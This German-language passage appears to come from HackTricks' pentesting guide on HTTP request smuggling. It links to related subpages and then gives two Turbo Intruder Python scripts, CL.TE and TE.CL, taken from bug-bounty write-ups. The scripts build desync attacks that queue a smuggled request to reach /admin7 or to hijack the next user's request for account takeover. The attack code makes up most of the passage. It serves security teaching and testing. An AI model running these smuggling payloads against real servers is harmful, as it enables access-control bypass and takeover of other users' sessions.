  • Browser-HTTP-Request-Smuggling (Clientseite)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Request-Smuggling bei Downgrades in HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Turbo-Intruder-Skripte

CL.TE

Von https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Von: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Werkzeuge

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: